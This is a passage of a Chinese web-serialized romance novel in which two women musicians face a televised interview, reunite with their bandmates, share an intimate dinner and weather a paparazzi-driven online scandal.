【许风扰下巴是不是有两个红印啊?这是怎么弄出来的】 【我感觉许风扰的唇有点肿】 【柳听颂的口红是不是补过了,之前好像没那么重】 许风扰不知网友已疯狂打量起自己,跟着来到临时搭起的隔间裏,其余人像是都已经结束,陆陆续续离开。 有一人主动上前,开口就道:“这是单独采访,许老师您来这边。” 许风扰下意识看了旁边人一眼,而后才点头。 “您跟我来。” “好。” 她当即就走,挺直背影的凌厉,将对方抛至身后,而柳听颂先是看了她一眼,见她走进裏头,才跟着其他人,走到另一头的隔间中。 四面黑色木板遮挡视线,灯光从左右打来,本就白皙的面容透出一点淡淡的红,是之前唇齿触碰间,被稀薄氧气涂抹出的绯色。 在镜头照不到的位置,有人出声恭喜,恭喜许风扰能够坚持到现在,另外又说她这裏有一些问题,是网友在V博投票中,最想要问许风扰的问题。 许风扰敷衍的点了点头,一向不怎么喜欢听这些轱辘话。 可那工作人员的下一句话就叫她愣住。 “网上关于您和柳老师的关系猜测不断,就连我们节目组都跟着好奇了。” 那人笑了下,又说:“所以,第一个问题就是您与柳听颂是什么关系?” 许风扰身体一僵。 而弹幕已经疯狂。 【啊啊啊啊还得是节目组,贴脸开大啊】 【什么关系什么关系,我要疯了】 高脚凳上的人身高腿长,一腿曲折搭在脚踏上,一腿斜踩地面,半长不短的发丝刚好及肩,小麦肤色与深邃眉眼相衬,便有一股极具侵略性的野性美。 只是如今神情却呆愣,好半天才挤出一句:“柳老师是一个很好的前辈。” 官方得让人眼皮直跳。 工作人员也忍不住尬笑一声,有些直接道:“大家都很想知道,你和柳老师在隔间做了什么,为什么会停留那么长时间,你可以透露一点,满足大家的好奇心吗?” 许风扰抿了抿唇角,却问:“这也是问题之一吗?” “不是,”那工作人员下意识回答,又连忙补充道:“只是直播间的观众很想……” “那无可奉告。” 话还没有就被打断,这段时间的配合,还真让节目组放下戒备,以为许风扰很好套路,这下才终于见识了她的脾气。 那工作人员表情一僵,也不敢再提旁的,规规矩矩顺着臺本问下去。 直播间裏的人不免哀嚎一片,甚至觉得许风扰太过冷硬,不过很快就有人发来弹幕。 【速报速报,柳听颂那边也是同样的问题】 【我刚刚从柳听颂那边切过来,绝了,简直要腻死我了,问她和许风扰什么关系,她一下子话多到离谱,十句夸了许风扰九句】 【柳听颂她真的,她超爱,我都要磕起来了。】 【哎,这边怎么冷成这样,那边都要被甜死了,我还寻思着来这边缓缓呢……】 几条弹幕后,停留在这个直播间的观众纷纷退出,疯狂涌入另一个直播间,以至于错过了许风扰在采访结束后,欲言又止的停顿。 她脸上露出少有的纠结,就连凌厉轮廓都变得柔和了些,无意识抬手,摸过耳垂边,那颗丢失又抢回的钻石耳扣。 正当工作人员都起身,准备结束采访时,她才慢吞吞开口:“她是个很好的人,值得被所有人的喜欢。” 隔间中的气氛一顿。 而在另一边的隔间内,柳听颂终于要回答完第一个问题,她看向镜头,清冷的眉眼舒展开,温声说了同样的话,作为总结。 “阿风是个很好的人,她值得被大家看见,也配得上所有人的喜欢。” 第86章 柳听颂,我们接吻吧 “哟哟, 她是个很好的人,值得被大家喜欢,你听听你这句话腻得慌不” 揶揄的嬉笑声回响, 客厅中的人纷纷笑起。 拿着贝斯的许风扰脸一僵, 对着另一面的楚澄就翻了个白眼。 楚澄脸皮厚,咧开嘴就笑道:“咋了咋了, 你都能说,不准我们看啊?” “你就说吧,你两偷偷摸摸躲去化妆间干嘛了?网友不能知道, 我们还不能吗?” 纪鹿南配合着打趣:“这节目录来录去也就四五个小时, 你们两忍一忍呗。” 况野也笑, 故意敲了下鼓面。 被调侃的许风扰说不出反驳的话,只能故作严厉道:“都还有力气是吧, 我们再练一遍?” 可惜楚澄不吃这一套, 摆了个鬼脸就道:“还练呢?不知道谁家那位要来接了, 赶得及吗阿~风~” 最后的反抗都被击破, 许风扰僵着脸, 被人捏住的把柄, 完全没了之前应付采访的游刃有余, 只能站在那儿被调侃。 “阿~风~”楚澄学着柳听颂的腔调,用欠兮兮的语气重复。 纪鹿南也在旁边笑,接着道:“她值得被所有人喜欢~” 也不知道那么大把年纪、都当妈的人了,怎么还会那么幼稚。 况野话少但不代表心善,这两人说一句她敲一次鼓,和文裏的感嘆号似的, 重点强调。 气得许风扰捡起地上喝完的矿泉水瓶,一人丢了一个。 三人被打得还笑, 气得许风扰放了贝斯,往那单人沙发裏坐,双臂往胸前一抱,心知逃不掉,索性给她们笑个够。 那三人见状,愣是没有一点收敛,尤其是楚澄,居然又和许风扰挤起沙发,嚷嚷道:“我就知道你两分不开,闹来闹去不还粘在一起。” 许风扰嫌她,躲到边边角角去。 纪鹿南也走过来,大大咧咧往地毯一坐,随手取出新的矿泉水到处发,嘱咐道:“以后别乱跑了,搞得我们提心吊胆的,生怕你哪天就被拐了。” “昭昭有一天晚上还被吓醒,抓着我问你会不会被野人抓走。” 提起昭昭,许风扰面色柔和了些,语气无奈道:“我又不是三岁小孩……” 况野冷哼一声:“三岁小孩也不敢往无人区跑。” 刚得知许风扰下落时,三个人吓得半死,这冰川虽然好看,可都在荒无人烟的偏僻处,少有的那几个景区还出过人跌进冰缝,救不出来的事,吓得这几人以为许风扰要走极端,找个风景好的地方自我了断,慌的不行。 也不怪她们这样想,她们这圈子可没少发生这种事,都是至情至性的人,有一天突然不想活了,就真能找个地方就跳了。 而且许风扰那段时间的情绪一直不大好,接连冒出的事情让她们这些局外人都生出不忍,更何况是被动承受的本人。 “有一天橙子凌晨四五点给我打电话,哭哭啼啼了半天,”况野难得主动开口。 “我还以为怎么了,结果她是担心你,生怕你那天是在和她托孤,过两天就要听到你……” 剩下的话她没说,但众人都懂,许风扰揉了揉眉心,没再推开旁边的大狮子,语气也缓下来:“你们别乱想。” 被提到的楚澄有些难为情,别扭道:“谁知道你的。” 许风扰就道:“我就是想离开一段时间,好好想清楚一些事。” 此刻已是黄昏时刻,橙红色的光蔓延开,攀爬过旁边搁置的乐器,架子鼓沉闷,键盘间的黑与白变得模糊,电吉他又没好好放回原处,贝斯的琴弦映出灰影,随着日光慢慢挪到更外头。 四人还扎堆粘在一处,一如少年时,每次排练结束后就坐在一起闲谈。 好像什么都没变,又好像变了很多,以前大家几乎天天都在一块,揉着手臂喊着疼,可嘴上却还在说着音乐和梦想,眼裏是野心与渴望。 如今她们已各自有了生活,许风扰回来后的时间紧迫,第一天晚上赶到S市,第二天就要录节目,以至于拖延到现在才聚齐,曾经的渴望变得触手可及,反倒被搁置到一边,话题只有各自的生活与感情。 恍惚眼神逐渐有了焦点,许风扰吐出一口浊气,像什么东西轻飘飘溜走,又有新的东西将她填满,变作沉甸甸的感受。 “那你想清楚了吗?”不知谁问了句。 “或许?”许风扰轻轻笑起,又说:“应该是想好了。” 楚澄翻了翻白眼:“少打马虎眼,你和听颂姐到底怎么样了?””就那样?”许风扰挑了挑眉。 “你少来这一套,”况野不满,一脚踢过来。 许风扰揉了揉脸,慢吞吞道:“有一天晚上,我和柳听颂开车到了山顶上,她在车裏睡觉,我在外面抽烟。” “我帮你喂猫的那天?”楚澄还有印象。 许风扰点了点头,却道:“那天的星空很漂亮。” “我看了很久,想了很多。” “我甚至想把无法决定的事情交给天空,我在心底默念,今晚要是有流星,我就原谅柳听颂,不要再这样互相折磨下去。” “如果没有,我就结束这段关系,”她眼帘扇动,晦涩情绪掩藏在眼底。 这停顿让听众揪心,忍不住出声问道:“然后呢,你看见流星了?” 许风扰就笑,有点无赖的模样:“我不知道啊,我忙着给柳听颂烧水喂水去了,下半夜她都窝在我怀裏,只要我一动她就像个八爪鱼似的缠上来。” “噫,”还以为她要冒出什么的众人发出嫌弃声音。 “那天早上我们裹着衣服看了一场日出,很漂亮,”许风扰说完了剩下的话。 楚澄不懂她在说什么,有点嫌弃道:“知道了知道了,你们是幸福了,就我被那猫抓一爪子。” 许风扰摇了摇头,继续道:“我真的不知道我该怎么做,左右摇摆,索性搁置,但那天车祸……” 提起这事,众人表情都沉了下去。 许风扰沉默了下,想挤出一抹笑意,却苦涩又无奈。 “我知道柳听颂对我很重要,但没想到会那么重要。” “她把我推开的那一瞬间,我真的……” 向来说话直接的人,在此刻却断断续续的,数次卡顿后又继续,表情变化。 “我那时候甚至提不起什么报复的心思,满脑子都是如果柳听颂出事了,我该怎么办” “我脑子裏一片空白,根本想不到,没办法想到没有她的日子,就算是分开的那五年,即便是不在一处,我也会想象她在异国他乡怎么生活,认识什么人,会不会有一天偶然看见我的消息。” “但是我想象不到没有柳听颂的未来,”她声音很轻,几乎嘆息一般继续。 “真的,柳听颂没出事真的太好,在看见她还在的那一瞬间,我感觉我空空荡荡的躯壳,一下子就……” 她抬了抬手,好像卡住,努力找出形容的字句:“灵魂回到了我行尸走肉的躯壳中,脚终于踩到了地上。” 这话对于旁人或许夸张,可放在柳听颂与许风扰身上,却只觉得贴切。 楚澄默默嘆了口气。 况野欲言又止,最后只是低头。 纪鹿南拧开瓶盖,喝了口水,企图将情绪压下去。 那屋外的夕阳已到最热烈的时刻,丢在旁边的手机震动了下,亮起的屏幕有人发来消息。 【刚刚去买了些虾,回去给你做蒜蓉虾】 【排练结束了吗?】 【我大概还有十分钟到楼下,不用着急,我可以等一会】 许风扰眼神瞥过那边,起伏的情绪稍缓。 她抿了抿唇,很多话到了嘴边,却不知该怎么说,多说觉得矫情,少说又觉得表达不够,可这些东西总自己憋着也难受,而柳听颂那边不知如何开口,要不是楚澄她们主动问,她也很难自己说出来。 这大抵是每一个过分独立的孩子的通病,从小没个诉说表达的人,后面连最基本的喊疼都不会。 “在医院裏的时候,我真的很害怕,一面是担心柳听颂的伤,一面是……” 她扯了扯嘴角,有一种承认自己自私的坦然,说:“我在害怕。” “我离开对我们都好,柳听颂不能恢复声音,和我有一定的关系,事实上她比我厉害,在我离开之后就积极治疗恢复,而我……” “我发觉我的一切都与她有关,我的习惯、梦想,甚至生活方式,她是我的老师、引路人。” 许风扰拧开矿泉水瓶,仰头便是一口,吞咽时,喉管上下滑动,不知是不是说了太久,居然喝了三分之一才停下。 此刻的黄昏已慢慢散去,稀薄的澄光落在她眉眼,将碧色眼眸中纹路清晰显现,眼帘发颤。 “我离开这裏,想换一种截然不同的方式生活,我开始远离熟悉城市,往陌生地方跑,依照我的本心改变我的习惯。” “我发觉我还是不喜欢抽烟喝酒,不喜欢除了舞臺以外的热闹地方,脑袋裏会冒出乱七八糟的音符,喜欢用铅笔在白纸上乱写,这些是柳听颂带给我的习惯,但我从来没有讨厌过。” “我是心甘情愿的。” “不只因为柳听颂,而是我本身就这样。” 手机震动,屏幕又亮起,还是那人发来的消息。 【我已经到楼下了】 【等你】 楚澄不由偏头一看,忍不住犯起贱,欠欠就道:“等你哟~” “听颂姐真的是一分钟都离不了你,这才排练了一个下午,消息一条接着一条的。” 许风扰拿起手机,单手回了个消息,还故意把屏幕歪斜,不让她们三人瞧见。 三人忍不住再调侃,要知道许风扰以前可是将手机乱放,就连相册都干净到让人可以随便看,现在倒遮遮掩掩起来了。 许风扰被笑多了,竟也开始不以为然,脸不红心不跳的,装什么都听不见。 她放下手机,想了想之前的话题,而后才接道:“冰川很漂亮。” “可是我每一次抬起单反,都是在想柳听颂看见这一幕会怎么样,她也会喜欢吗?以后我们可以一起过来,要记得给她戴好围巾,这裏很冷……” 她偏头看向窗外,风掀起窗帘,橙色的余晖依旧。 “这一次是我自己的选择,没有任何人的参与、引导,没有任何其他因素影响,完完全全是我自己做出的决定。” 她又吐出一口气,水瓶被随手放在一边,骤然站起。 “走吧,”许风扰说。 “再慢一点,她买的虾就要不新鲜了。” 三人哭笑不得,纷纷站起。 房门被打开后又关上,老旧的楼道依旧深冷,几人的谈笑声回响。 “记得过段时间的音乐节安排,特别是阿风,你要提前和音综那边商量好。” “橙子你等会去哪去我家吃饭” “算了吧,你和轻焰姐自己吃吧,好不容易把昭昭送到外婆家,你两快过过二人世界,我今天约了那谁。” “哦~那谁啊,追了那么久,终于能一起吃饭了呢。” “嘿嘿,阿风你把你上次推荐那个餐厅地址发我,我纠结一整天了,愣是不知道吃什么。” “那是柳听颂带我去的,等会叫她发你。” “小野呢?” “乔笙已经做好饭了。” 随意的闲谈声散去,帆布鞋踏出大门,楼道间的阴影被抛在身后,霞光随之落下,温温柔柔笼在四人身上。 道别声接连响起,再抬脚却走向不同方向,地上的影子被拖得好长。 许风扰看向前方,那熄火的黑色轿车无声停在不远处,特制的防窥玻璃将裏头情形遮掩,可许风扰却知道,那人一定靠在驾驶位中,静静看着自己。 刚到车前,裏头那位就先一步帮她打开车门。 更远处的闪光灯亮起又熄灭,无人察觉。 ——嘭 车门关上,继而是安全带打开的声音,有人倾身而来,先是视线被遮掩,而后嗅到淡淡香气,继而脸颊被捧起,柔软的唇覆了过来,轻轻柔柔地压住她。 “好想你宝宝,”有人轻嘆般地开口,声音的眷恋不加遮掩,越来越会表达,越来越愿意说出口。 许风扰掀开眼帘,抬手勾住她腰肢,将人往怀裏搂。 在唇齿贴近间,有人含糊开口:“柳听颂……” “嗯?”另一人的音调上挑,暗哑又千回百转的,像银鈎似的故意撩拨。 扑扇的眼帘互相扫过,对视的眼眸没有一丝躲闪,毫无保留的,让对方完全看清自己的全部。 想说的话绕了个弯,变成其他。 许风扰眼眸一弯,眼尾有春风掠过,只道:“柳听颂,我们接吻吧。” 回应她的是撬开唇齿的舌,将这个吻不断延长、加深。 呼吸与心跳都同步,直到彻底分不出彼此,完全交融在一块。 第87章 我也想被小妈喂 晚饭没有想象中清净, 说好的蒜蓉虾还是换成了白灼,一方面是怕味重,影响其他, 一方面是刚提着东西入门时, 三斤就喵喵着围过来,叫得人心软。 此刻餐厅裏明亮, 银白缅因理直气壮地坐在椅子上,甩着尾巴等许风扰剥壳。 柳听颂不免劝阻,说吃完饭再喂猫, 锅裏还给它留着, 可实际的阻拦动作却没有。 “喵!”大猫等急了, 毛茸茸的爪子直接搭到许风扰手臂,试图催促。 许风扰就故意停下, 明明只剩下一半就能剥完, 却一动不动。 急得三斤口水都要出来了, 还吃不到, 大爪一直挠, 喵喵个不停。 “三斤, ”而旁边那位还怕它着急抓伤许风扰, 所以扬声警告。 气得那大猫耳朵都塌下去,看看这个再看看那个,十分委屈地叫了声:“喵。” 许风扰笑得不行,终于愿意继续往下剥。 这下大猫也不敢催了,只能用大尾巴甩着许风扰,也不知道是报复还是撒娇, 直到许风扰剥好,分成小块, 放在专属于三斤的餐盘裏,那猫才一下子扑过来,整个脸都贴在餐盘裏,像个小猪似的嗷嗷啃。 柳听颂眉眼舒展,眼尾满是笑意。 此刻灯火柔和,一家三口粘在一块,早就该吃完的晚饭被一拖再拖。 抽纸擦拭指尖,许风扰瞥了眼旁边,故意道:“你也想吃?” 年长那位哪裏会轻易入套,小臂杵着桌面,掌心贴脸,笑吟吟就道:“也想被小妈喂。” 熟悉又陌生的称呼让许风扰一愣,后知后觉地白了对方一眼,没好气道:“想得美。” 为了表示嫌弃,她甚至把盘子端远了些。 柳听颂此刻穿着宽松的针织衫,脖颈间的痕迹淡又添,浅痕与浓印交织在一块,纤细薄软的躯体变得更柔软,让人想起软绵绵的棉花,好像很好脾气的模样。 可许风扰却晓得,这人哪有表面那么老实。 温凉趾尖触碰许风扰脚踝,泛起些许酥麻感受。 许风扰眸光微沉,盯着她看。 柳听颂面不改色,好像什么都没发生,拖长的语调像是撒娇,却隐隐露出几分坏:“想吃虾。” “小、妈。” 一字一顿的字句,笑盈盈的眼眸泛起粼粼波光。 “好不好嘛?” 趾尖还在往上,勾起裤脚,顺着肌肉线条,踩住侧边骨骼 丢在对面平板立起,放着刚剪辑放出的第一期综艺,虽然已直播过一遍,但热度依旧不减,弹幕占满半边屏幕,不断往前刷。 而此刻的镜头刚好落在柳听颂身上,一身月白旗袍,依旧清冷疏离,即便是旁人凑上前,热情地套着近乎,她依旧浅浅淡淡的,唇边礼貌的弧度维持得完美。 再看现实裏,女人使着坏,那趾尖攀到膝盖处,又突然往下跌,一下子踩在许风扰脚背。 许风扰声音微低,试图警告:“现在已经不在直播了。” 之前就闹过一遭,许风扰碍于直播一直强忍着,没有回应,如今倒好,这人没有见好就收,反倒故技重施,还拿这一套撩拨人。 柳听颂装作不懂,眨了眨眼就道:“不在直播就不能吃了吗?” 许风扰定定看着她,不知想起什么,竟真的抬手捏了一只虾。 虾头拧去,泛红虾肉在指尖剥开。 桌面上的平板依旧播放着,已经到了争论许风扰与柳听颂关系如何的片段,桌面下还在作乱,那人踩向她大腿侧边,像是挑衅。 许是幼时的练习,许风扰的手很巧,简简单单就将壳子完整拆下,连虾线去除,继而才递到柳听颂唇边。 那人低头叼住,轻松得有点不可思议,毕竟这家伙可是连猫都要较劲的人。 Q弹的虾肉在齿间咬碎,泛起淡淡的甜。 许风扰又扯过纸巾,从指根到指尖细细擦拭过一遍,而后拽住对方脚腕。 力度不重,纤细脚踝被扣在虎口收拢间,指腹的薄茧划过细腻肌理,被拽着往衣角中探,踩在对方腰腹间。 柳听颂难得怔住,撩拨不成,竟被反将一军。 呼吸间,腰腹起伏,感受更加鲜明。 许风扰本就瘦,后头跟着那些人在藏区走了几个月,那线条就变得更加明晰,似乎能感受到块块轮廓,也不知是许风扰还是柳听颂,* 肌肤相贴处,灼热如烙铁。 “好吃吗?”许风扰突然问道,似笑非笑的眼眸隐隐带着几分侵略性。 柳听颂没说话,大抵是觉得奇怪,明明是她亲自挑选又煮过的虾,却被许风扰问好不好吃。 趾尖触到内衣边缘,纯棉的材质,比起单薄衬衫,明显要更厚更软,稍退后又碰到耻骨,硬邦邦地硌人。 突然就陷入了两难,进退不得。 可即便停留不动,也没有好到哪裏去。 柳听颂耳尖微红,想扯出却被紧紧拽住。 “好吃吗?”许风扰又问,略微戏谑的语气。 惹得柳听颂抬眼嗔她。 这两人都是这样,高攻低防。 撩拨对方可以,但一到自己身上,便丢盔弃甲,完全不知如何应对。 指腹在脚踝摩擦,那凸起的圆骨如玉石被打着圈把玩。 旁边的小猫还不知道发生了什么,吃完之后就开始满脸幸福地舔毛,尾巴依旧甩来甩去。 此刻屋外已是蓝调时刻,霞光散去,漆黑尚未侵透天空,连几点碎星都无,静谧而蔚蓝。 屋裏旖旎气息散开,桌面上的饭菜已许久没有发生变化。 正当这时,平板的声音骤然停住,有语音电话打来。 是梨子。 许风扰看向她,柳听颂不大想接,仍由铃声继续,直到最后一声落下。 正当两人以为结束时。 梨子的消息却一条接着一条弹出。 【姐!快看微博】 【你和许风扰好像被狗仔拍到了】 两人一愣,表情瞬间沉了下去。 【幸好狗仔没有拍到你的脸,但现在的舆论完全是一边倒】 【我感觉有人在刻意针对她】 丢在一边的手机被掀开,没有丝毫犹豫就点入V博。 在首页热搜中,赫然冒出一个词条。 #许风扰的神秘富婆女友# 再往裏看,竟还被制作成视频,在不断放大的虚焦镜头下,可以看出是那栋熟悉的老旧楼房,这让视频多了几分可信度。 自从上一个节目结束后,许风扰的住址就被扒出,许多狗仔蹲守不成,气急败坏后就拍照发到网上,让不少粉丝都知晓,甚至有人专门跑来拍照打卡,只是后面许风扰离开许久,几个月都不曾回来,便被怀疑是不是她不堪其扰,选择搬离,于是狗仔撤离,粉丝也在应援会几次警告挂黑后,不敢再来。 也是因此,燃陨众人才能放心赶来,却没想到居然还有人死守在那边。 柳听颂的手机在响,许风扰那边也冒出一堆。 楚澄等人都已瞧见,着急的不行。 视频继续播放。 居然还配了电子音做音频。 “燃陨乐队在集体排练后,一起下楼出门,其余三人各自骑车开车离开,而许风扰则上了一辆极低调的迈巴赫S480。” 镜头还在放大,能看见车门是从裏被推开,依稀能瞧出是一个长发女人,紧接着许风扰踏进裏头。 “不知道两人在裏面做了什么,在原地停留了十七分钟后才启动,径直离开小区。“ 这话落下,许风扰下意识摸了摸鼻尖,柳听颂的视线也偏移一瞬。 没想到对方会说出那么精准的时间。 再看评论区,早已乱做一团。 【这事被爆出来好几次了吧?我怎么记得上一次被抓拍还是一个美甲店老板,这回就变成迈巴赫富婆了?】 【啊?有谁给个时间线吗,我怎么搞不明白了,她到底谈了几个啊?】 【她之前被拍到雨中失魂落魄回家,我还说她也是个恋爱脑,没想这一个接着一个啊】 【就没有人觉得不对劲吗?去年燃陨乐队的活动就越来越少,许风扰的V博甚至从六七月份就没营业过,一整个冬天都消失不见,结果一回来就有了一个S+级音综资源,这可是好多大牌歌手都没抢到的资源,她一个搞乐队的……】 这条评论暗示的明显,就差将许风扰傍上金主,以此获得资源的事直接说出,而评论下的话语更是直白。 【我还以为她是那种怼天怼地的性格,看来也只是对普通人这样,遇到金主还不是紧紧贴上去】 【感觉这金主对她不错啊,又给资源又亲自来接人,几个月都没腻啊】 看到这儿,柳听颂的表情更沉,连旁边的三斤都察觉到她们的心情极差,轻手轻脚地跳下凳子。 也有跟了几期直播的粉丝,在评论区嚷嚷。 【不是,我才刚磕到许风扰和柳听颂啊,结果许风扰早有金主?】 【我也是,既然她都有富婆了,怎么还在节目裏……她到底脚踏几条船啊?金主不会介意吗?】 【前面还磕?我一早就看出不对劲了,柳听颂明显就很不喜欢她,还得配合她作天作地的,嘶……感觉她背后的金主很有实力啊,居然能说动柳听颂陪她卖】 剩下的评论也多是如此,像有人刻意引导,要将许风扰脚踏多条船、傍金主的事坐实。 一时间骂声不断。 柳听颂与许风扰对视一眼,都意识到了问题的严重性,甚至连音综那边都有工作人员发来消息,询问许风扰这事,希望她能想办法澄清,不要影响到音综下一期的直播。 可…… 许风扰眉头更紧,要是这事只涉及她,她当场就发博斥回去了,可其中还有柳听颂、乔笙…… 上次被偷拍到的美甲店,因为怕影响到况野与乔笙的进展,几人琢磨来琢磨去,只在队伍V博上做出澄清,并要求其他人不要去打扰素人。 幸好乔笙那边并不在意,甚至十分愉悦地表示这让她多了不少客人,几人这才放下心。 可今儿又被提起…… 还有柳听颂。 节目组想要许风扰澄清,却不知要是真澄清,下期直播才得炸。 柳听颂张了张嘴,不知在犹豫什么,眼中闪过一丝纠结:“阿风,要不我们……” 话还没有说完就见况野打来电话,这事涉及到她对象,许风扰不得不接,柳听颂的话就这样被堵住,眼眸缓缓垂落,浓睫在眼睑下印出淡淡灰影,薄唇紧紧抿住。 许风扰未曾注意,刚接通电话就被况野的话震住。 “你说你要公开!” “乔笙那边同意了吗?” 十分钟后,其他词条冲上热搜,盖住了之前的热搜 #况野官宣# 点开况野一年不见发一条的主页裏,被特意置顶的那条V博言简意赅,只有简单几个字。 嗯,这是我女朋友。 配图是被铁架格窗分割的橙色天空,脱了外套的况野站在老旧厨房裏,一手颠锅一手握铲,耳垂还带着四个环,小臂的纹身更是明显,明明是不茍言笑的酷姐,却在夕阳与火光中,莫名多出几分贤惠温柔的感觉。 而乔笙出现在照片右下角,举起手机的手臂伸远,刚好拍到她坐在餐桌前,偏头露出明媚笑颜。 很是简单的照片,像是等待许久后的随手一拍,却透着浓郁的生活气息及幸福感。 评论区中燃陨三人齐刷刷评论。 楚澄:这就是你说的嫂子已经煮好饭,等你回家吃饭 纪鹿南:这就是你说的嫂子已经煮好饭,等你回家吃饭 许风扰:这就是你说的嫂子已经煮好饭,等你回家吃饭 不知是不是心虚,况野一个人都没回,反倒回了个别的评论,是那人在评论区阴谋论,说况野是在为许风扰打掩护。 况野少有的回复了三条消息。 【要不现在就亲一个给你看】 【没见过朋友帮忙追女朋友的吗?】 【傻X】 第88章 分……分什么 昨夜况野的官宣夺走热度, 对许风扰的质疑从脚踏几条船的渣女,又变成傍上富婆的小白脸,但讨论度远不如之前, 其中最热闹的地方竟是CP超话。 此时此刻, 作为许风扰与柳听颂CP超话建立者、第一大粉——梨子,迎来了超话成立以来最大的危机。 才有些热度的超话裏叫惨不断, 有人说许风扰有女朋友还麦姬,天打雷劈。 有人哭昨夜通宵才剪完的视频,今天晚上就BE。 更多的是默默取关的人, 超话人数从一千几又掉到几百, 并且还有持续下降的趋势。 CP群裏就更惨了, 嚎嚎大哭的表情包疯狂刷屏,瞬间就99+。 看得梨子头皮发麻, 转头就去超话裏一条条地回评。 【大家往好处想, 起码阿风她不直啊】 【难道我们这些天磕的是假的吗?!她们眼神可一点也不清白】 【什么?!听颂姐才不是小三, 她怎么可能是小三】 【背德CP?听风才是正统!其他都是歪门邪道】 【不是, 什么叫我已经被气疯了?我现在可清醒理智了】 梨子急得嘴冒泡, 明明有一堆反驳的证据, 却一个都不能说, 气得她恨不得现在就冲到柳听颂家裏,咔嚓咔嚓连拍十几张照片发超话。 她深吸一口气,额间的青筋直跳,刚想退出超话,又见到她之前反复浏览,一度磕到凌晨的野风超话。 比起梨子那个小小超话, 野风CP已算是久且稳定的大势cp了,关注人数曾一度达到七位数, 各种产出数不胜数,不然也不会让梨子沉迷其中,难以自拔。 不过此时此刻,超话裏头已是哀嚎遍地。 别人的CP拆伙,也就塌一个,CP粉收拾收拾,还能变成另一个人的单推。 可野风倒好,一点预兆没有,短短几个小时裏,两人一前一后曝光恋情,让CP粉连个去的地方都没有,只能在超话干嚎,什么五年老CP粉都冒出来了,各种类型心碎的表情包不停发出,梨子刷了十几分钟,愣是没刷到尽头。 可有了对比,梨子竟觉得心裏舒服了不少。 都是BE。 她们的CP是真BE,可自己都没有啊! 刚刚和听颂姐打电话时,她还听见许风扰在旁边催促,说她们要一起给三斤洗澡。 想到这裏,梨子又觉得自己好了,Be只是表面,这群没眼力见的家伙,根本就不懂我的CP私底下有多甜。 大拇指滑过屏幕,APP切换至南畜。 已调整好自己的梨子清了清嗓子,正准备好好安慰一下群裏的人,却见和她最最要好、一起嗑生嗑死的好同担,默默给她发来几条消息。 【我觉得背德也挺很好磕啊】 【高岭之花为爱做三,与富婆争抢心上人】 【为什么后来者居上!因为柳听颂她又争又抢】 【我只是来得晚一些,但并不代表我会输给她】 【啊啊啊啊,哭了,怎么会有CP稳稳踩在我的Xp上,怎么会那么好磕】 梨子看得眼前一黑又一黑,往沙发裏一倒。 完了, 彻底完了。 新旧CP一起BE,最爱的同担磕偏门,再大的打击也不过如此。 且以上不论,给听风CP粉最痛苦一击的,还属第四期的音综直播。 因上一期选歌矛盾未解决,以至于留下疑问的鈎子,再加上恋情刚被曝光、却依旧没有回应的许风扰,两者迭加,在线人数甚至比刚开播时还多,各种冷嘲热讽的弹幕挤满了屏幕。 镜头裏的人也不负所望,尤其是之前有许风扰有争执的程婉,在重新进行的选歌环节讨论中,再一次说不过许风扰,于是阴阳怪气地将此事提起。 “比赛还是要靠实力说话,而不是靠些奴颜婢膝的手段上位,现在既怕自个冒不了尖,又怕暴露出自己的短板。” 这话直白得过分,哪怕是什么都不知道的人,也能品出其中的恶意。 在场的人都沉默住,齐刷刷看向许风扰,再游移不定地看向程婉,竟一时不知该如何劝。 许风扰表情彻底冷下来,眉间阴翳不加掩饰,寒声就道:“你是觉得我会怕你盖住我的风头?” 许风扰冷哼一声:“就你?” 她稍停顿就接上:“到底是谁费尽心思挤进来,生怕自己错过这个机会就再冒不了尖,想方设法表现的” “你!” 刀没落在自己身上不觉疼,如今话落到自己身上,程婉就如被踩到尾巴的猫,一下子就尖锐炸起。 可许风扰还不停,直接就道:“程婉老师,我平常让着你,是因为在场的老师都是我的前辈,我尊老爱幼,但不代表你可以胡说八道,随便往我身上泼脏水。” 她不客气,许风扰更不客气,桀骜两字不是白往脑门上按的。 程婉被气得脸青一阵紫一阵的,抬手就指,气急道:“你这是倒打一耙。” 许风扰笑了下,意味不明的表情,暗示却明显。 气得程婉越发愤怒,可她又不敢反驳什么,自己心裏头清楚,她实力虽然不差,可热度比在场各位都差了些,只能用了些特别的手段挤入…… 柳听颂往前站出一步,薄唇开合间,便想说些什么。 可许风扰却率先开口,打断她的节奏,直白道:“如果程婉老师觉得我实力不行,没资格在这裏说话的话,不妨我们两个比一场。” 柳听颂眉头一皱,下意识伸手想要扯住许风扰袖口,叫她冷静些。 可许风扰却不露痕迹地偏身躲开,继而上前一步,将站在两人中间、且稍偏向她的柳听颂挤出对峙范围。 比起前三期的若有若无亲近,许风扰此刻的抵触明显,刻意将柳听颂推远。 如此做法也不是不能理解,刚闹出的舆论偏激,完全将许风扰打成一个依靠旁人上位的渣女,就连柳听颂都受牵连,说她屈服于大佬,在节目上和许风扰麦姬。 甚至还有人恶意揣测,说柳听颂早就傍上了那个金主,而许风扰是刚被抬上来的新欢,金主为了捧许风扰,让新欢旧爱在综艺裏麦姬,如此便可解释两人亲密又不对付的氛围。 这话一听就不靠谱,可仔细想想又觉得有道理,成了评论裏点赞最高的,被顶上首评后就没下去过。 如此情况下,最好的选择就是柳听颂与许风扰互相避嫌。 歌手又不是偶像,没有恋爱禁止条例。 此时的矛盾在于大众认为许风扰是在傍上金主、得到好资源后,还在节目裏和柳听颂纠缠不清。 于是只需划清界限,等时间一长,也不过是许风扰谈了个有钱对象,没有多少粉丝会耿耿于怀,就好像之前两人的视频被来回传播,却无人破防,只有祝福的言论。 故而,一心想着柳听颂不愿官宣的许风扰,自然而然地选择了避嫌。 眼下,被排除在外的柳听颂眼帘低垂,看似面色如常,心却慢慢沉了下去,好一会都没说话。 而对面的程婉表情难看,只能开口问道:“你想比什么?” “在音综自然是比唱歌,我两各唱一首,要在场老师匿名投票如何?”许风扰眉梢一扬,是那双桀骜张扬的眼眸,写满了少年意气。 弹幕中安静一瞬,那些恶意猜测、谩骂话语都停住。 许风扰的不驯,既是她最受诟病的地方,也是她最吸引人的地方,前几期的闷声不出气,被柳听颂拽来拽去的模样,都要让粉丝怀疑她是不是真正的许风扰了,怎么换了个发色和肤色,就变成了唯唯诺诺的老实样。 直到现在,心裏的闷气一出。 弹幕被许风扰的粉丝占满,粉随正主这话被表现的淋漓尽致,其他人还没有反应过来,她们就先嚷嚷起。 【对面敢不敢!我们用实力说话】 【别一直仗着那点资历,一直指教那个说这个了,有本事就比一场】 【阿风说的对,咱们就没怕过谁!】 